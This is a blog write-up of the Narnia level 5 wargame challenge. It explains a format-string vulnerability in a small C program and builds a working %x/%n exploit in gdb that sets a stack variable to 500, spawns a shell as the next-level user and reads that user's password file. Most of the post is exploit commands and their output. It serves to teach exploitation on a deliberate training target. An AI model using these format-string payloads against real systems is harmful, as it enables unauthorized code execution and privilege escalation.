1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); setreuid(geteuid(),geteuid()); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; } |
The interesting code is between line 13 and 16
If we are able to change the value of variable i from 1 to 500 we get a shell
i is stored on the stack just after buf[64] that we can control as comman line argument.
But note that it's not a buffer overflow: the istruction we can use to overwrite variable i is not a buffer copy (like a strcpy()), but a snprintf()
Could it be a format string vulnerability and not a buffer overflow?
Format string can be eploited by means of "%n" and "%x" format specifier of C *printf() functions.
- %x reads and print the value from the current buffer pointer.
- %n reads the value stored in the current buffer pointer and write to that memory location the number of characters already printed
Let's try with a sample format string with an initial string "AAAA" followed by some "%x", oviously inside gdb:
(gdb) r Starting program: /narnia/narnia5 $(python -c 'print "AAAA%x%x"') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAA4141414131343134] (63) i = 1 (0xffffd6c0) [Inferior 1 (process 22454) exited normally] (gdb)
In this case the first %x read the first four bytes of buffer and printed them (41414141 is the hex representation of ASCII "AAAA"). The second %x reads the bytes 4-8 of buffer, that and prints them (3134 is the hex representation of ASCII "41", little-endian architecture)
Now let's add a break to the line after snprintf() function and then use a couple of format strings that contains a valid memory address on the stack like "0xffffdef4") and add a "%n"
- "\xf4\xde\xff\xff%n"
- "\xf4\xde\xff\xffBBBB%n"
Note that second string adds 4 ASCII byte to be printed and the memory address is reversed because Intel is little-endian:
(gdb) disassemble main Dump of assembler code for function main: 0x0804850b <+0>: push %ebp 0x0804850c <+1>: mov %esp,%ebp 0x0804850e <+3>: push %ebx .... 0x08048528 <+29>: call 0x80483f0 <snprintf@plt> 0x0804852d <+34>: add $0xc,%esp .... End of assembler dump. (gdb) break *0x0804852d Breakpoint 1 at 0x804852d (gdb) set args $(python -c 'print "\xf4\xde\xff\xff%n"') (gdb) r Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff%n"') Breakpoint 1, 0x0804852d in main () (gdb) x/wx 0xffffdef4 0xffffdef4: 0x00000004 (gdb) set args $(python -c 'print "\xf4\xde\xff\xffBBBB%n"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xffBBBB%n"') Breakpoint 1, 0x0804852d in main () (gdb) x/wx 0xffffdef4 0xffffdef4: 0x00000008
We were able to write the number 4 into 0xffffdef4 memory location. 4 is the number of bytes before the "%n "
With the second strings we wrote 8 bytes (the 4 bytes of the memory location in the buffer + 4 "B")
we can use this tecnique to write 500 to i variable, but we have to
- find the i variable location on stack
- Craft a format string shorter than 64 bytes that writes 500 bytes (more or less) and then issue a %x to the correct memory location
The first point is quite easy: the vulnerable code prints it (0xffffd6d0)
narnia5@narnia:~$ /narnia/narnia5 "AAAAAAAAAAAAAAAAAAAAAAAAA%x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAAAAAAAAAAAAAAAAAAAAAAA41414141] (33) i = 1 (0xffffd6d0)
The second point is a little harder, so let's go back to gdb and try with some sequences that use also %x:
- "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"
- "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"
The first will print
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"') Breakpoint 1, 0x0804852d in main () (gdb) x/wx 0xffffdef4 0xffffdef4: 0x00000012 (gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"') Breakpoint 1, 0x0804852d in main () (gdb) x/wx 0xffffdef4 0xffffdef4: 0x0000006c
With different %x formats we are able to write different values
We have to write 500 (hex value: 0x1f4), let's do some tries in gdb( i.e. with 490 and more)
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%490x%n"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%490x%n"') Breakpoint 1, 0x0804852d in main () (gdb) x/wx 0xffffdef4 0xffffdef4: 0x000001f2 (gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%492x%n"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%492x%n"') Breakpoint 1, 0x0804852d in main () (gdb) x/wx 0xffffdef4 0xffffdef4: 0x000001f4
Now let's try with changing the memory address to the variable address (0xffffd6e0) "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%492x%n":
narnia5@narnia:~$ /narnia/narnia5 $(python -c 'print "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%490x%n"') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [▒▒▒▒▒▒▒▒ ] (63) i = 498 (0xffffd6e0) narnia5@narnia:~$ /narnia/narnia5 $(python -c 'print "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%492x%n"') Change i's value from 1 -> 500. GOOD $ id uid=14006(narnia6) gid=14005(narnia5) groups=14005(narnia5) $ cat /etc/narnia_pass/narnia6 n********g
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.